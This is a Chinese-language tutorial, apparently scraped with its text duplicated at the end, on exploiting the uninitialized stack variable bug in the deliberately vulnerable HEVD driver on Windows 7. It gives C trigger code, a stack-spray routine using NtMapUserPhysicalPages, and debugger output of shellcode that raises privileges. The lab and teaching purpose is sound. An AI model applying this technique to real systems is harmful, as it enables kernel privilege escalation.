Windows Kernel Exploit(六) -> Uninitialized-Stack-Variable
字数 955 2025-08-04 08:17:33

Windows内核漏洞利用:未初始化栈变量漏洞分析与利用

0x00 前言

本文是Windows内核漏洞利用系列的第六部分,重点讲解内核未初始化栈变量漏洞的利用技术。与之前介绍的内核漏洞不同,这种漏洞需要引入"栈喷射"技术,需要对内核栈和用户栈有深入理解。

前置要求

  • Windows 7 x86 sp1虚拟机
  • 配置好windbg等调试工具(建议配合VirtualKD使用)
  • HEVD+OSR Loader配合构造漏洞环境

0x01 漏洞原理

未初始化栈变量

分析HEVD.sys中的TriggerUninitializedStackVariable函数:

int __stdcall TriggerUninitializedStackVariable(void *UserBuffer) {
  int UserValue; // esi
  _UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable; // [esp+10h] [ebp-10Ch]
  CPPEH_RECORD ms_exc; // [esp+104h] [ebp-18h]

  ms_exc.registration.TryLevel = 0;
  ProbeForRead(UserBuffer, 0xF0u, 4u);
  UserValue = *(_DWORD *)UserBuffer;
  DbgPrint("[+] UserValue: 0x%p\n", *(_DWORD *)UserBuffer);
  DbgPrint("[+] UninitializedStackVariable Address: 0x%p\n", &UninitializedStackVariable);
  if ( UserValue == 0xBAD0B0B0 ) {
    UninitializedStackVariable.Value = 0xBAD0B0B0;
    UninitializedStackVariable.Callback = (void (__stdcall *)())UninitializedStackVariableObjectCallback;
  }
  DbgPrint("[+] UninitializedStackVariable.Value: 0x%p\n", UninitializedStackVariable.Value);
  DbgPrint("[+] UninitializedStackVariable.Callback: 0x%p\n", UninitializedStackVariable.Callback);
  DbgPrint("[+] Triggering Uninitialized Stack Variable Vulnerability\n");
  if ( UninitializedStackVariable.Callback )
    UninitializedStackVariable.Callback();
  return 0;
}

关键点:

  1. 函数使用CPPEH_RECORD结构进行异常处理
  2. 比较传入的UserBuffer值是否为0xBAD0B0B0
  3. 如果相等则初始化UninitializedStackVariable结构
  4. 最后检查并调用回调函数

漏洞存在于未初始化栈变量的使用:

#ifdef SECURE
    // 安全版本:正确初始化为NULL
    UNINITIALIZED_MEMORY_STACK UninitializedMemory = { 0 };
#else
    // 漏洞版本:未初始化结构
    UNINITIALIZED_MEMORY_STACK UninitializedMemory;

0x02 漏洞利用

控制码分析

在HackSysExtremeVulnerableDriver.h中定义的控制码:

#define HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK IOCTL(0x80B)

计算实际控制码:

>>> hex((0x00000022 << 16) | (0x00000000 << 14) | (0x80b << 2) | 0x00000003)
'0x22202f'

基础测试代码

#include<stdio.h>
#include<Windows.h>

HANDLE hDevice = NULL;

BOOL init() {
    hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL);

    printf("[+]Start to get HANDLE...\n");
    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL) {
        return FALSE;
    }
    printf("[+]Success to get HANDLE!\n");
    return TRUE;
}

VOID Trigger_shellcode() {
    DWORD bReturn = 0;
    char buf[4] = { 0 };
    *(PDWORD32)(buf) = 0xBAD0B0B0+1;

    DeviceIoControl(hDevice, 0x22202f, buf, 4, NULL, 0, &bReturn, NULL);
}

int main() {
    if (init() == FALSE) {
        printf("[+]Failed to get HANDLE!!!\n");
        system("pause");
        return 0;
    }
    Trigger_shellcode();
    return 0;
}

栈喷射(Stack Spray)技术

由于程序会调用回调函数,我们需要将回调函数地址指向我们的shellcode。由于代码对回调函数进行了NULL检查,不能直接使用0页内存,因此需要使用栈喷射技术。

栈喷射原理:

  1. 使用NtMapUserPhysicalPages函数填充内核栈
  2. 填充大小为1024*4=4096字节(一页内存)
  3. 将填充内容设置为shellcode地址

实现代码:

#define COPY_STACK_SIZE 1024

PDWORD StackSpray = (PDWORD)malloc(1024 * 4);
memset(StackSpray, 0x41, 1024 * 4);

printf("[+]Spray address is 0x%p\n", StackSpray);

for (int i = 0; i < 1024; i++) {
    *(PDWORD)(StackSpray + i) = (DWORD)&ShellCode;
}

NtMapUserPhysicalPages(NULL, 0x400, StackSpray);

完整利用步骤

  1. 初始化句柄等结构
  2. 准备喷射的栈并用shellcode地址填充
  3. 调用NtMapUserPhysicalPages进行栈喷射
  4. 调用TriggerUninitializedStackVariable函数触发漏洞
  5. 调用cmd提权

调试验证

在关键点下断点观察:

0: kd> ba e1 8D6A3F86
0: kd> g
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
[+] UserValue: 0xBAD0B0B1
[+] UninitializedStackVariable Address: 0x92E2F9C8
[+] UninitializedStackVariable.Value: 0x00931040
[+] UninitializedStackVariable.Callback: 0x00931040
[+] Triggering Uninitialized Stack Variable Vulnerability
Breakpoint 0 hit
8d6a3f86 39bdf8feffff    cmp     dword ptr [ebp-108h],edi

查看喷射结果:

2: kd> dd 0x92E2F9C8
92e2f9c8  00931040 00931040 00931040 00931040
92e2f9d8  00931040 00931040 00931040 00931040
...

2: kd> u 00931040
00931040 53              push    ebx
00931041 56              push    esi
00931042 57              push    edi
00931043 60              pushad
00931044 64a124010000    mov     eax,dword ptr fs:[00000124h]
0093104a 8b4050          mov     eax,dword ptr [eax+50h]
0093104d 8bc8            mov     ecx,eax
0093104e ba04000000      mov     edx,4

0x03 总结

这种漏洞利用条件较为苛刻,但通过栈喷射技术可以成功利用。关键点包括:

  1. 理解未初始化栈变量的行为
  2. 掌握栈喷射技术原理
  3. 正确构造喷射内容和触发条件

该技术扩展了内核漏洞利用的方法,特别是在有NULL检查限制的情况下,提供了一种有效的绕过方式。

Windows内核漏洞利用:未初始化栈变量漏洞分析与利用 0x00 前言 本文是Windows内核漏洞利用系列的第六部分,重点讲解内核未初始化栈变量漏洞的利用技术。与之前介绍的内核漏洞不同,这种漏洞需要引入"栈喷射"技术,需要对内核栈和用户栈有深入理解。 前置要求 : Windows 7 x86 sp1虚拟机 配置好windbg等调试工具(建议配合VirtualKD使用) HEVD+OSR Loader配合构造漏洞环境 0x01 漏洞原理 未初始化栈变量 分析HEVD.sys中的 TriggerUninitializedStackVariable 函数: 关键点: 函数使用 CPPEH_RECORD 结构进行异常处理 比较传入的 UserBuffer 值是否为 0xBAD0B0B0 如果相等则初始化 UninitializedStackVariable 结构 最后检查并调用回调函数 漏洞存在于未初始化栈变量的使用: 0x02 漏洞利用 控制码分析 在HackSysExtremeVulnerableDriver.h中定义的控制码: 计算实际控制码: 基础测试代码 栈喷射(Stack Spray)技术 由于程序会调用回调函数,我们需要将回调函数地址指向我们的shellcode。由于代码对回调函数进行了NULL检查,不能直接使用0页内存,因此需要使用栈喷射技术。 栈喷射原理: 使用 NtMapUserPhysicalPages 函数填充内核栈 填充大小为1024* 4=4096字节(一页内存) 将填充内容设置为shellcode地址 实现代码: 完整利用步骤 初始化句柄等结构 准备喷射的栈并用shellcode地址填充 调用 NtMapUserPhysicalPages 进行栈喷射 调用 TriggerUninitializedStackVariable 函数触发漏洞 调用cmd提权 调试验证 在关键点下断点观察: 查看喷射结果: 0x03 总结 这种漏洞利用条件较为苛刻,但通过栈喷射技术可以成功利用。关键点包括: 理解未初始化栈变量的行为 掌握栈喷射技术原理 正确构造喷射内容和触发条件 该技术扩展了内核漏洞利用的方法,特别是在有NULL检查限制的情况下,提供了一种有效的绕过方式。